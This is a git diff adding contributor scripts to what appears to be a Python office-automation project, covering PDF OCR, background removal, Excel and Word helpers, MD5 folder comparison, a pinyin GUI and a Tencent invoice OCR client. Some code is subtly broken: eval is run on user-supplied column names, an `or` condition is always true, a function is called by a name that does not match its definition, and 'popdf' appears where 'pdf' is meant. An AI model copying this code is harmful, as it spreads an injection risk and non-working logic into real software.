# noinspection PyUnresolvedReferences +# return fitz.open(stream=self.raw) +# +# @property +# def page_count(self): +# return self.doc.page_count +# +# @cache +# def get_pixmap(self, page=0, dpi=108, alpha=True): +# return self.doc[page].get_pixmap(dpi=dpi, alpha=alpha) +# +# @cache +# def get_image(self, *args, **kwargs): +# from imageio import imread +# from numpy import asarray +# return asarray(imread(self.get_pixmap(*args, **kwargs).tobytes())) +# +# @staticmethod +# def show(image): +# from matplotlib.pyplot import imshow, show +# imshow(image) +# return show() +# +# def show_image(self, *args, **kwargs): +# return self.show(self.get_image(*args, **kwargs)) +# +# def save_image(self, file_path: str, page=0, dpi=144, alpha=True): +# return self.get_pixmap(page, dpi, alpha).save(file_path) +# +# def save_images(self, dir_path: str, pages=..., dpi=144, alpha=True, encode="png", show_bar=True): +# if not os.path.isdir(dir_path): +# os.mkdir(dir_path) +# +# it = range(self.page_count) if pages is ... else pages +# +# if show_bar: +# from alive_progress import alive_it +# it = alive_it(it) +# +# for page in it: +# self.save_image(f"{dir_path}/{page}.{encode}", page, dpi, alpha) +# +# +# # PDF与OCR +# class PDFReader(PDF): +# def __init__(self, path: str, lang=("en", "ch_sim")): +# super().__init__(path) +# self.lang = lang +# +# @cached_property +# def reader(self): +# from easyocr import Reader +# return Reader(self.lang) +# +# @cache +# def get_texts(self, page=0, *args, **kwargs): +# return self.reader.readtext(self.get_image(page, *args, **kwargs)) +# +# def render_bbox(self, page=0, *args, color=(255, 0, 0), **kwargs): +# from cv2 import line +# image = self.get_image(page, *args, **kwargs).copy() +# for points, string, degree in self.get_texts(page, *args, **kwargs): +# c = (*color, round(degree * 255)) +# # noinspection PyPep8Naming +# A, B, C, D = [tuple(map(round, point)) for point in points] +# line(image, A, B, c) +# line(image, B, C, c) +# line(image, C, D, c) +# line(image, D, A, c) +# +# return image +# +# def show_image_with_bbox(self, *args, **kwargs): +# return self.show(self.render_bbox(*args, **kwargs)) +# +# def classify(self, choices, page=0, *args, **kwargs): +# """ +# 这个函数的功能在于,比如有一个奖状,上面可能有一等奖二等奖三等奖,要批量识别出一张图片为什么奖 +# :param page: the page to ocr +# :param choices: list or words to choose +# """ +# from rapidfuzz.process import extractOne +# texts = [string for _, string, _ in self.get_texts(page, *args, **kwargs)] +# return sorted((extractOne(choice, texts)[1], choice) for choice in choices)[-1][1] diff --git a/contributors/old_from_gitee/CHENJie666666/eliminate_background.py b/contributors/old_from_gitee/CHENJie666666/eliminate_background.py new file mode 100644 index 0000000..311a5f6 --- /dev/null +++ b/contributors/old_from_gitee/CHENJie666666/eliminate_background.py @@ -0,0 +1,70 @@ +""" +功能:消除图片背景 +""" + +from PIL import Image + +def _hex_to_rgb(hex): + """ + 十六进制转RGB + """ + if hex[0] != '#' or len(hex) != 7: + print('注意:十六进制格式颜色错误,请输入7位以\'#\'开头的字符串\n') + return None + else: + r = int('0x' + hex[1:3], 16) + g = int('0x' + hex[3:5], 16) + b = int('0x' + hex[5:7], 16) + return (r, g, b) + +def eliminate_bc(src_img_path, save_img_path, margin=30, bc_color=None): + """ + 将图片的背景变成透明色 + 参数: + src_img_path: string, 原始图片存储路径 + margin: int, 和背景颜色的差异值 + bc_color, string or tuple 背景颜色值(十六进制或RGB值) + """ + img = Image.open(src_img_path) + width, height = img.size + + # 获取背景颜色的RGB值 + if bc_color: + # 给定背景色 + if isinstance(bc_color, str): + r, g, b = _hex_to_rgb(bc_color) + else: + r, g, b = bc_color + else: + # 未给定背景色,拾取图片左上角颜色作为背景色 + pix = img.load() + if src_img_path.endswith('.jpg'): + r, g, b = pix[int(width / 20), int(height / 20)] + elif src_img_path.endswith('.png'): + r, g, b, _ = pix[int(width / 20), int(height / 20)] + + img = img.convert("RGBA") + datas = img.getdata() + newData = list() + + # 背景填充零透明度 + for item in datas: + if (item[0] >= max(r - margin, 0) and item[0] <= min(r + margin, 255)) \ + and (item[1] >= max(g - margin, 0) and item[1] <= min(g + margin, 255)) \ + and (item[2] >= max(b - margin, 0) and item[2] <= min(b + margin, 255)): + newData.append((255, 255, 255, 0)) + else: + newData.append(item) + img.putdata(newData) + + # 保存新图片 + img.save(save_img_path, "PNG") + +if __name__ == '__main__': + + # 未设定背景颜色 + eliminate_bc('test.jpg', 'a.png') + + # 设定背景颜色 + # eliminate_bc('test.jpg', 'a.png', bc_color=(255, 255, 255)) + # eliminate_bc('test.jpg', 'a.png', bc_color='#FFFFFF') diff --git a/contributors/old_from_gitee/CNSeniorious000/pdf.py b/contributors/old_from_gitee/CNSeniorious000/pdf.py new file mode 100644 index 0000000..74e3a32 --- /dev/null +++ b/contributors/old_from_gitee/CNSeniorious000/pdf.py @@ -0,0 +1,111 @@ +# from functools import cache, cached_property +# +# +# # PDF与栅格化 +# # noinspection PyPackageRequirements +# class PDF: +# """ +# a popdf document with optimized lazy processing +# @Author & Date: CNSeniorious000 2022/5/17 +# """ +# +# @cache +# def __new__(cls, *args, **kwargs): +# """a path refers to only one document""" +# return object.__new__(cls) +# +# def __init__(self, path: str): +# """load from disk or internet""" +# if path.startswith("http"): +# import requests +# self.raw = requests.get(path).content +# else: +# self.raw = open(path, "rb").read() +# +# @cached_property +# def doc(self): +# import fitz +# # noinspection PyUnresolvedReferences +# return fitz.open(stream=self.raw) +# +# @property +# def page_count(self): +# return self.doc.page_count +# +# @cache +# def get_pixmap(self, page=0, dpi=108, alpha=True): +# return self.doc[page].get_pixmap(dpi=dpi, alpha=alpha) +# +# @cache +# def get_image(self, *args, **kwargs): +# from imageio import imread +# from numpy import asarray +# return asarray(imread(self.get_pixmap(*args, **kwargs).tobytes())) +# +# @staticmethod +# def show(image): +# from matplotlib.pyplot import imshow, show +# imshow(image) +# return show() +# +# def show_image(self, *args, **kwargs): +# return self.show(self.get_image(*args, **kwargs)) +# +# def save_image(self, file_path: str, page=0, dpi=144, alpha=True): +# return self.get_pixmap(page, dpi, alpha).save(file_path) +# +# def save_images(self, dir_path: str, pages=..., dpi=144, alpha=True, encode="png", show_bar=True): +# if not os.path.isdir(dir_path): +# os.mkdir(dir_path) +# +# it = range(self.page_count) if pages is ... else pages +# +# if show_bar: +# from alive_progress import alive_it +# it = alive_it(it) +# +# for page in it: +# self.save_image(f"{dir_path}/{page}.{encode}", page, dpi, alpha) +# +# +# # PDF与OCR +# class PDFReader(PDF): +# def __init__(self, path: str, lang=("en", "ch_sim")): +# super().__init__(path) +# self.lang = lang +# +# @cached_property +# def reader(self): +# from easyocr import Reader +# return Reader(self.lang) +# +# @cache +# def get_texts(self, page=0, *args, **kwargs): +# return self.reader.readtext(self.get_image(page, *args, **kwargs)) +# +# def render_bbox(self, page=0, *args, color=(255, 0, 0), **kwargs): +# from cv2 import line +# image = self.get_image(page, *args, **kwargs).copy() +# for points, string, degree in self.get_texts(page, *args, **kwargs): +# c = (*color, round(degree * 255)) +# # noinspection PyPep8Naming +# A, B, C, D = [tuple(map(round, point)) for point in points] +# line(image, A, B, c) +# line(image, B, C, c) +# line(image, C, D, c) +# line(image, D, A, c) +# +# return image +# +# def show_image_with_bbox(self, *args, **kwargs): +# return self.show(self.render_bbox(*args, **kwargs)) +# +# def classify(self, choices, page=0, *args, **kwargs): +# """ +# 这个函数的功能在于,比如有一个奖状,上面可能有一等奖二等奖三等奖,要批量识别出一张图片为什么奖 +# :param page: the page to ocr +# :param choices: list or words to choose +# """ +# from rapidfuzz.process import extractOne +# texts = [string for _, string, _ in self.get_texts(page, *args, **kwargs)] +# return sorted((extractOne(choice, texts)[1], choice) for choice in choices)[-1][1] diff --git a/contributors/old_from_gitee/CoderWanFeng/add.py b/contributors/old_from_gitee/CoderWanFeng/add.py new file mode 100644 index 0000000..0cb201f --- /dev/null +++ b/contributors/old_from_gitee/CoderWanFeng/add.py @@ -0,0 +1 @@ +# 编写你的代码 diff --git a/contributors/old_from_gitee/FileToExcel/FileToExcel.py b/contributors/old_from_gitee/FileToExcel/FileToExcel.py new file mode 100644 index 0000000..5de0bdd --- /dev/null +++ b/contributors/old_from_gitee/FileToExcel/FileToExcel.py @@ -0,0 +1,38 @@ +from win32com.client import Dispatch, constants +import win32com + + + +def file_to_excel(excel_path:str,file_path:str): + ''' + 将文件添加到excel对象 + ''' + xlApp = win32com.client.Dispatch('Excel.Application') + xlBook_1 = xlApp.Workbooks.Open(excel_path) + + xlSheet_1 = xlBook_1.Worksheets(1) + xlSheet_1.Shapes.AddOLEObject(Filename=file_path,Link=False)#,DisplayAsIcon=True + xlBook_1.Close(True) + + xlApp.Quit() + + +if __name__=="__main__": + #该主函数脚本为批量添加对象文件到excel + import sys + print(sys.argv) + try: + argv_list = sys.argv + argv_list.pop(0) + excel_path ="" + for idx in argv_list: + if ".xlsx" or ".xls" in idx: + excel_path = idx + break + argv_list.remove(excel_path) + [file_to_excel(excel_path,idy) for idy in argv_list] + except Exception as e: + print(e) + finally: + input("done..") + \ No newline at end of file diff --git a/contributors/old_from_gitee/bob-zhao/pdf2imgs.py b/contributors/old_from_gitee/bob-zhao/pdf2imgs.py new file mode 100644 index 0000000..bee5b41 --- /dev/null +++ b/contributors/old_from_gitee/bob-zhao/pdf2imgs.py @@ -0,0 +1,32 @@ +import os +from pdf2image import convert_from_path + +def pdf2imgs(pdf_path:str, out_dir=".") -> None: + """to change the popdf file to a folder of images + + Args: + pdf_path (str): the popdf file path, + out_dir (str, optional): the output dir. Defaults to ".". + + Raises: + ValueError: the pdf_path not available + + Example: + >>> pdf2imgs("test.popdf", "./test") + """ + + assert isinstance(pdf_path, str), "pdf_path must be str" + assert isinstance(out_dir, str), "out_dir must be str" + + pdf_name = pdf_path[pdf_path.rfind("/")+1:pdf_path.rfind(".")] + out_dir = os.path.join(out_dir, pdf_name) + + if not os.path.exists(out_dir): + os.makedirs(out_dir) + + if not (pdf_path.endswith("popdf") or pdf_path.endswith("ai")): + raise ValueError("file must end with .popdf or .ai") + + images = convert_from_path(pdf_path) + for i, img in enumerate(images): + img.save(os.path.join(out_dir, f"page{i}.jpg")) diff --git a/contributors/old_from_gitee/bob-zhao/requirements.txt b/contributors/old_from_gitee/bob-zhao/requirements.txt new file mode 100644 index 0000000..c44275a --- /dev/null +++ b/contributors/old_from_gitee/bob-zhao/requirements.txt @@ -0,0 +1 @@ +pdf2image=1.16.0 \ No newline at end of file diff --git a/contributors/old_from_gitee/bob-zhao/test.py b/contributors/old_from_gitee/bob-zhao/test.py new file mode 100644 index 0000000..c97cd86 --- /dev/null +++ b/contributors/old_from_gitee/bob-zhao/test.py @@ -0,0 +1,4 @@ +from pdf2imgs import pdf2imgs + +pdf2imgs("word2vec.pdf", "./testfile") + diff --git a/contributors/old_from_gitee/bob-zhao/word2vec.pdf b/contributors/old_from_gitee/bob-zhao/word2vec.pdf new file mode 100644 index 0000000..c7bf771 Binary files /dev/null and b/contributors/old_from_gitee/bob-zhao/word2vec.pdf differ diff --git a/contributors/old_from_gitee/demo/demo.py b/contributors/old_from_gitee/demo/demo.py new file mode 100644 index 0000000..0cb201f --- /dev/null +++ b/contributors/old_from_gitee/demo/demo.py @@ -0,0 +1 @@ +# 编写你的代码 diff --git a/contributors/old_from_gitee/han_ying_feng/office/excel.py b/contributors/old_from_gitee/han_ying_feng/office/excel.py new file mode 100644 index 0000000..cb881de --- /dev/null +++ b/contributors/old_from_gitee/han_ying_feng/office/excel.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: excel.py +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 excel 的自动化操作 +############################################# +import math + +import numpy +from faker import Faker +import pandas as pd +from alive_progress import alive_bar + +from src.utils import pandas_mem + + +def fake2excel(columns=['name'], rows=1, language='zh_CN', path='./fake2excel.xlsx', ): + """ + @Author & Date : CoderWanFeng 2022/5/13 0:12 + @Desc : columns:list,每列的数据名称,默认是名称 + rows:多少行,默认是1 + language:什么语言,可以填english,默认是中文 + path:输出excel的位置,有默认值 + """ + # 可以选择英语 + if language.lower() == 'english': + language = 'en_US' + # 开始造数 + fake = Faker(language) + excel_dict = {} + with alive_bar(len(columns) * rows) as bar: + for column in columns: + excel_dict[column] = list() + # excel_dict[column] = map(lambda x: eval('fake.{func}()'.format(func=x)), [column] * rows) # 使用map,会报错 + while len(excel_dict[column]) < rows: + excel_dict[column].append(eval('fake.{func}()'.format(func=column))) + bar() + # 用pandas,将模拟数据,写进excel里面 + data = pd.DataFrame(excel_dict) + data = pandas_mem.reduce_pandas_mem_usage(data) + __excelWriter__(path=path, data=data) + + +############################################# +# Author: han_ying_feng +# Mail: gyuanhao@163.com +# Created Time: 2022-05-26 12:13:09 +# Description: 将想要添加的DataFrame 写入到相应Path的Excel文件中 +############################################# +def __excelWriter(path, data: pd.DataFrame): + # 使用文件路径创建ExcelWriter对象 + writer = pd.ExcelWriter(path) + # 将数据写入到writer对象中 + data.to_excel(writer, index=False) + # 保存文件 + writer.save() + # 关闭资源 + writer.close() + + +############################################# +# Author: han_ying_feng +# Mail: gyuanhao@163.com +# Created Time: 2022-05-26 12:13:09 +# Description: 根据表名读取Excel数据 +############################################# +def read_all_excel(excel_file_path, sheet_name='Sheet1', header=0) -> pd.DataFrame: + return read_cols_to_name(excel_file_path, sheet_name=sheet_name, header=header) + + +############################################# +# Author: han_ying_feng +# Mail: gyuanhao@163.com +# Created Time: 2022-05-26 12:13:09 +# Description: 读取Excel某列数据 +############################################# +def read_cols_to_name(excel_file_path, cols_name=None, header=0, sheet_name='Sheet1') -> pd.DataFrame: + return pd.read_excel(excel_file_path, usecols=cols_name, header=header, sheet_name=sheet_name) + + +############################################# +# Author: han_ying_feng +# Mail: gyuanhao@163.com +# Created Time: 2022-05-26 12:13:03 +# Description: 计算某列数据的和,并返回 +############################################# +def sum_by_cols(excel_file_path, cols_name=[], header=0, sheet_name='Sheet1'): + # 读取数据表 + cols_data_list = read_cols_to_name(excel_file_path, cols_name=cols_name, header=header, sheet_name=sheet_name) + # 获取数据表中的数据 + values = cols_data_list.values + # 将获取到的数据更改为list + num_list = [] + for item in values: + # 判断整列中的数据是否是数字类型 + if type(item[0]) == int or type(item[0]) == numpy.int64: + num_list.append(item[0]) + return math.fsum(num_list) + + +############################################# +# Author: han_ying_feng +# Mail: gyuanhao@163.com +# Created Time: 2022-05-26 12:13:03 +# Description: 将一段数据添加到指定列中的单元格内 +############################################# +def append_by_cols(data, excel_file_path, cols_name=[], sheet_name='Sheet1', header=0, axis=0): + # 读取整个表的内容 + read_data = read_all_excel(excel_file_path, sheet_name, header=header) + # 创建新数据的Frame + df = pd.DataFrame(data=[data], columns=cols_name) + # 新数据与读取到的整个表的数据合并 + data = pd.concat([read_data, df], ignore_index=True, axis=axis) + # 写入原文件中 + __excelWriter__(excel_file_path, data) diff --git a/contributors/old_from_gitee/han_ying_feng/office/word.py b/contributors/old_from_gitee/han_ying_feng/office/word.py new file mode 100644 index 0000000..aeb5b1d --- /dev/null +++ b/contributors/old_from_gitee/han_ying_feng/office/word.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: word.py +# Author: han_ying_feng +# Mail: gyuanhao@163.com +# Created Time: 2022年05月24日23:52:13 +# Description: macOS下有关word的自动化操作 +############################################# +from pypandoc import convert_file + + +def createpdf(wordPath, pdfPath): + convert_file(wordPath, 'popdf', pdfPath) diff --git a/contributors/old_from_gitee/sustnf/file.py b/contributors/old_from_gitee/sustnf/file.py new file mode 100644 index 0000000..b25ee4c --- /dev/null +++ b/contributors/old_from_gitee/sustnf/file.py @@ -0,0 +1,70 @@ +# -*- coding:utf-8 -*- + +import os +import shutil +import sys +from typing import List + +class HiddenPrints: + def __enter__(self): + self._original_stdout = sys.stdout + sys.stdout = open(os.devnull, "w") + + def __exit__(self, exc_type, exc_val, exc_tb): + sys.stdout.close() + sys.stdout = self._original_stdout + + + +# 判断文件夹中是否有超过固定大小的文件 +# 可对超过具体大小的文件做删除,移动等操作,后续优化 +# folder:文件夹 +# size:大小(M) +def screen_file(folder, size:int): + size = size *1024 *1024 + res = [] + reslist = [] + for path, dirs, file_names in os.walk(folder, topdown=True): + for filename in file_names: + res.append(os.path.join(path, filename)) + for r in res: + if os.path.getsize(r) > size: + reslist.append(r) + if len(reslist) == 0: + print("没有超过%sM大小的文件" % (size/1024/1024)) + else: + print("有超过%sM大小的文件" % (size/1024/1024)) + for r in reslist: + print(r) + +# screen_file("E:\\",200) + + + +# 判断文件夹中指定后缀的文件(后缀可多写List类型)['.exe','.txt','.md'] +def screen_suffix(folder, suffix:List): + reslist = [] + for s in range(len(suffix)): + # with HiddenPrints(): + one_suffix(folder, suffix[s], reslist) + for r in reslist: + print(r) + + +# 判断文件夹中指定后缀的文件 +def one_suffix(folder, suf, res=None): + res = [] + datanames = os.listdir(folder) + for dataname in datanames: + t = os.path.join(folder, dataname) + if os.path.isfile(t): + if dataname.endswith(suf): + res.append(os.path.join(folder, dataname)) + elif os.path.isdir(t): + one_suffix(t, suf, res) + for r in res: + print(r) + + +# screen_suffix("E:\项目(gitee)", ['.txt','.md','.js']) +# one_suffix("E:\项目(gitee)",".md") diff --git a/contributors/old_from_gitee/sustnf/md5_verify.py b/contributors/old_from_gitee/sustnf/md5_verify.py new file mode 100644 index 0000000..fb7faf1 --- /dev/null +++ b/contributors/old_from_gitee/sustnf/md5_verify.py @@ -0,0 +1,89 @@ +# -*- coding:utf-8 -*- + +import hashlib +import os + + +# 文件md5校验 +# source_file:文件1 +# target_file:文件2 +def file_compare(source_file,target_file): + s = open(source_file, "br") + t = open(target_file, "br") + md5_source_file = hashlib.md5(s.read()).hexdigest() + md5_target_file = hashlib.md5(t.read()).hexdigest() + if md5_source_file == md5_target_file: + print("文件%s和文件%s\tmd5值相同" % (source_file, target_file)) + else: + print("文件%s和文件%s\tmd5值不相同" % (source_file, target_file)) + + +# 文件夹(子目录)md5校验。生成.csv文档,用于查看对比结果(使用excel打开即可) +# 目前校验相同和不相同都在同一文件下,后续优化 +# source_folder:文件夹1 +# target_folder:文件夹2 +# result.csv生成在执行目录下 +def folder_compare(source_folder,target_folder): + output_file = os.getcwd() + "\\result.csv" + # 判断是否已指定的路径分隔符结尾 + if source_folder.endswith(os.path.sep) and len(source_folder) > 1: + source_folder = source_folder[:-1] + if target_folder.endswith(os.path.sep) and len(target_folder) > 1: + target_folder = target_folder[:-1] + # 遍历文件或者目录 + t = os.walk(source_folder, topdown=True) + # os.walk返回一个三元组 + # path:当前正在遍历的这个文件夹的本身的地址, + # dirs:是一个list,内容是该文件夹中所有的目录的名字(不包括子目录), + # file_names:是一个list,内容是该文件夹中所有的文件(不包括子目录), + # topdown参数为真,walk会遍历source_folder文件夹,与source_folder文件夹中每一个子目录 + output_file = open(output_file, "w+") + for path, dirs, file_names in t: + for filename in file_names: + source_file = os.path.join(path, filename) + # 链接路径 + target_file = source_file.replace(source_folder, target_folder) + f = open(source_file, "br") + # print(source_file) + # md5值 + md5_source_file = hashlib.md5(f.read()).hexdigest() + f.close() + if os.path.exists(target_file): + f = open(target_file, "br") + md5_target_file = hashlib.md5(f.read()).hexdigest() + f.close() + if md5_source_file == md5_target_file: + try: + output_file.write( + "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "true") + ) + except: + output_file.write( + ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "true") + ) + print("%s 和 %s 相等,记录在校验结果中" % (source_file, target_file)) + else: + try: + output_file.write( + "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "false") + ) + except: + output_file.write( + ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "false") + ) + print("%s 和 %s 不相等,记录在校验结果中" % (source_file, target_file)) + else: + try: + output_file.write( + "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, "not exists", "", "false") + ) + except: + output_file.write( + ",%s,,%s,%s\n" % ("", md5_source_file, "", "not exists", "false") + ) + print("%s不存在target(目标文件夹),记录在校验结果中" % source_file) + output_file.close() + print("校验完成,结果请查看%s文件" % (output_file.name)) + +# file_compare("D:\\blog\\bin\\yarn","C:\\Users\\DUZUN\\Desktop\\bin\\yarn") +# folder_compare("D:\\blog\\bin","C:\\Users\\DUZUN\\Desktop\\bin") \ No newline at end of file diff --git a/contributors/sustnf/file.py b/contributors/sustnf/file.py new file mode 100644 index 0000000..77d3ffe --- /dev/null +++ b/contributors/sustnf/file.py @@ -0,0 +1,70 @@ +# -*- coding:utf-8 -*- + +import os +import shutil +import sys +from typing import List + +class HiddenPrints: + def __enter__(self): + self._original_stdout = sys.stdout + sys.stdout = open(os.devnull, "w") + + def __exit__(self, exc_type, exc_val, exc_tb): + sys.stdout.close() + sys.stdout = self._original_stdout + + + +# 判断文件夹中是否有超过固定大小的文件 +# 可对超过具体大小的文件做删除,移动等操作,后续优化 +# folder:文件夹 +# size:大小(M) +def screen_file(folder, size:int): + size = size *1024 *1024 + res = [] + reslist = [] + for path, dirs, file_names in os.walk(folder, topdown=True): + for filename in file_names: + res.append(os.path.join(path, filename)) + for r in res: + if os.path.getsize(r) > size: + reslist.append(r) + if len(reslist) == 0: + print("没有超过%sM大小的文件" % (size/1024/1024)) + else: + print("有超过%sM大小的文件" % (size/1024/1024)) + for r in reslist: + print(r) + +# screen_file("E:\\",200) + + + +# 判断文件夹中指定后缀的文件(后缀可多写List类型)['.exe','.txt','.md'] +def screen_suffix(folder, suffix:List): + reslist = [] + for s in range(len(suffix)): + # with HiddenPrints(): + one_suffix(folder, suffix[s], reslist) + for r in reslist: + print(r) + + +# 判断文件夹中指定后缀的文件 +def one_suffix(folder, suf, res=None): + res = [] + datanames = os.listdir(folder) + for dataname in datanames: + t = os.path.join(folder, dataname) + if os.path.isfile(t): + if dataname.endswith(suf): + res.append(os.path.join(folder, dataname)) + elif os.path.isdir(t): + one_suffix(t, suf, res) + for r in res: + print(r) + + +# screen_suffix("E:\项目", ['.txt','.md','.js']) +# one_suffix("E:\项目",".md") diff --git a/contributors/sustnf/md5_verify.py b/contributors/sustnf/md5_verify.py new file mode 100644 index 0000000..fb7faf1 --- /dev/null +++ b/contributors/sustnf/md5_verify.py @@ -0,0 +1,89 @@ +# -*- coding:utf-8 -*- + +import hashlib +import os + + +# 文件md5校验 +# source_file:文件1 +# target_file:文件2 +def file_compare(source_file,target_file): + s = open(source_file, "br") + t = open(target_file, "br") + md5_source_file = hashlib.md5(s.read()).hexdigest() + md5_target_file = hashlib.md5(t.read()).hexdigest() + if md5_source_file == md5_target_file: + print("文件%s和文件%s\tmd5值相同" % (source_file, target_file)) + else: + print("文件%s和文件%s\tmd5值不相同" % (source_file, target_file)) + + +# 文件夹(子目录)md5校验。生成.csv文档,用于查看对比结果(使用excel打开即可) +# 目前校验相同和不相同都在同一文件下,后续优化 +# source_folder:文件夹1 +# target_folder:文件夹2 +# result.csv生成在执行目录下 +def folder_compare(source_folder,target_folder): + output_file = os.getcwd() + "\\result.csv" + # 判断是否已指定的路径分隔符结尾 + if source_folder.endswith(os.path.sep) and len(source_folder) > 1: + source_folder = source_folder[:-1] + if target_folder.endswith(os.path.sep) and len(target_folder) > 1: + target_folder = target_folder[:-1] + # 遍历文件或者目录 + t = os.walk(source_folder, topdown=True) + # os.walk返回一个三元组 + # path:当前正在遍历的这个文件夹的本身的地址, + # dirs:是一个list,内容是该文件夹中所有的目录的名字(不包括子目录), + # file_names:是一个list,内容是该文件夹中所有的文件(不包括子目录), + # topdown参数为真,walk会遍历source_folder文件夹,与source_folder文件夹中每一个子目录 + output_file = open(output_file, "w+") + for path, dirs, file_names in t: + for filename in file_names: + source_file = os.path.join(path, filename) + # 链接路径 + target_file = source_file.replace(source_folder, target_folder) + f = open(source_file, "br") + # print(source_file) + # md5值 + md5_source_file = hashlib.md5(f.read()).hexdigest() + f.close() + if os.path.exists(target_file): + f = open(target_file, "br") + md5_target_file = hashlib.md5(f.read()).hexdigest() + f.close() + if md5_source_file == md5_target_file: + try: + output_file.write( + "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "true") + ) + except: + output_file.write( + ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "true") + ) + print("%s 和 %s 相等,记录在校验结果中" % (source_file, target_file)) + else: + try: + output_file.write( + "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "false") + ) + except: + output_file.write( + ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "false") + ) + print("%s 和 %s 不相等,记录在校验结果中" % (source_file, target_file)) + else: + try: + output_file.write( + "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, "not exists", "", "false") + ) + except: + output_file.write( + ",%s,,%s,%s\n" % ("", md5_source_file, "", "not exists", "false") + ) + print("%s不存在target(目标文件夹),记录在校验结果中" % source_file) + output_file.close() + print("校验完成,结果请查看%s文件" % (output_file.name)) + +# file_compare("D:\\blog\\bin\\yarn","C:\\Users\\DUZUN\\Desktop\\bin\\yarn") +# folder_compare("D:\\blog\\bin","C:\\Users\\DUZUN\\Desktop\\bin") \ No newline at end of file diff --git a/contributors/wangpeng/pinyin_gui.py b/contributors/wangpeng/pinyin_gui.py new file mode 100644 index 0000000..9ea581f --- /dev/null +++ b/contributors/wangpeng/pinyin_gui.py @@ -0,0 +1,84 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/9/26 21:46 +@本段代码的视频说明 : +''' +import sys + +import pohan +from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QLineEdit, QTextEdit, QPushButton, QMessageBox +from pohan.pinyin.pinyin import Style + + +class PinyinConverter(QWidget): + def __init__(self): + super().__init__() + self.initUI() + + def initUI(self): + # 创建布局 + layout = QVBoxLayout() + + # 创建输入文本框 + self.input_text = QLineEdit() + layout.addWidget(self.input_text) + + # 创建转换按钮 + convert_button = QPushButton('转换') + convert_button.clicked.connect(self.convert) + layout.addWidget(convert_button) + + # 创建输出文本框 + self.output_text = QTextEdit() + self.output_text.setReadOnly(True) + layout.addWidget(self.output_text) + + # 创建复制按钮 + copy_button = QPushButton('复制') + copy_button.clicked.connect(self.copy_output) + layout.addWidget(copy_button) + + # 创建退出按钮 + quit_button = QPushButton('退出') + quit_button.clicked.connect(self.close) + layout.addWidget(quit_button) + + # 创建关于按钮 + about_button = QPushButton('关于') + about_button.clicked.connect(self.show_about) + layout.addWidget(about_button) + + # 设置布局 + self.setLayout(layout) + + # 设置窗口标题和大小 + self.setWindowTitle('拼音转换器') + self.setGeometry(300, 300, 300, 200) + + def convert(self): + # 获取输入文本 + input_text = self.input_text.text() + + # 将汉字转换成拼音带声调的结果 + pinyin_list = pohan.pinyin.han2pinyin(input_text, style=Style.TONE) + + # 设置输出文本框显示结果 + self.output_text.setPlainText(f'带声调的结果:{pinyin_list}') + + def copy_output(self): + # 复制输出文本到剪贴板 + clipboard = QApplication.clipboard() + clipboard.setText(self.output_text.toPlainText()) + + def show_about(self): + QMessageBox.about(self, '关于', '谨献给一起学习的道友') + + +if __name__ == '__main__': + app = QApplication(sys.argv) + converter = PinyinConverter() + converter.show() + sys.exit(app.exec_()) diff --git a/utils/__init__.py b/contributors/wzllby/file/.gitkeep similarity index 100% rename from utils/__init__.py rename to contributors/wzllby/file/.gitkeep diff --git a/contributors/wzllby/motor_vehicle_invoice_identification.py b/contributors/wzllby/motor_vehicle_invoice_identification.py new file mode 100644 index 0000000..316af24 --- /dev/null +++ b/contributors/wzllby/motor_vehicle_invoice_identification.py @@ -0,0 +1,184 @@ +import os.path + +from tencentcloud.common import credential +from tencentcloud.common.profile.client_profile import ClientProfile +from tencentcloud.common.profile.http_profile import HttpProfile +from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException +from tencentcloud.ocr.v20181119 import ocr_client, models +from utils import * + +import json +import pandas as pd + + +class MotorVehicleInvoiceIdentificaion(): + + def __init__(self): + self.api_key = "ocr.tencentcloudapi.com" + + def get_tencent_secret(self, csv_path): + df = pd.read_csv(csv_path) + secret_id = df["SecretId"][0] + secret_key = df["SecretKey"][0] + return [secret_id, secret_key] + + def get_img_info(self, img_path, secret_id, secret_key): + try: + # 密钥可前往官网控制台 https://console.cloud.tencent.com/cam/capi 进行获取 + cred = credential.Credential(secret_id, secret_key) + httpProfile = HttpProfile() + httpProfile.endpoint = self.api_key + clientProfile = ClientProfile() + clientProfile.httpProfile = httpProfile + client = ocr_client.OcrClient(cred, "", clientProfile) + req = models.RecognizeGeneralInvoiceRequest() + encode_str = get_base64_by_img(img_path) + params = { + "ImageUrl": "", + "Types": [12], + "ImageBase64": encode_str + } + req.from_json_string(json.dumps(params)) + resp = client.RecognizeGeneralInvoice(req) + if resp.MixedInvoiceItems[0].Code == 'OK': + motor_vehicle_sale_invoice = resp.MixedInvoiceItems[0].SingleInvoiceInfos.MotorVehicleSaleInvoice + + result = { + "购买方名称": motor_vehicle_sale_invoice.Buyer, + "发票号码": motor_vehicle_sale_invoice.Number, + "发票代码": motor_vehicle_sale_invoice.Code, + "纳税人识别号/统一社会信用代码/身份证号码": motor_vehicle_sale_invoice.BuyerTaxID, + "车辆类型": motor_vehicle_sale_invoice.VehicleType, + "厂牌型号": motor_vehicle_sale_invoice.VehicleModel, + "产地": motor_vehicle_sale_invoice.Origin, + "合格证号": motor_vehicle_sale_invoice.CertificateNumber, + "发动机号码": motor_vehicle_sale_invoice.VehicleEngineCode, + "车辆识别代号/车架号码": motor_vehicle_sale_invoice.VIN, + "价税合计": motor_vehicle_sale_invoice.TotalCn, + 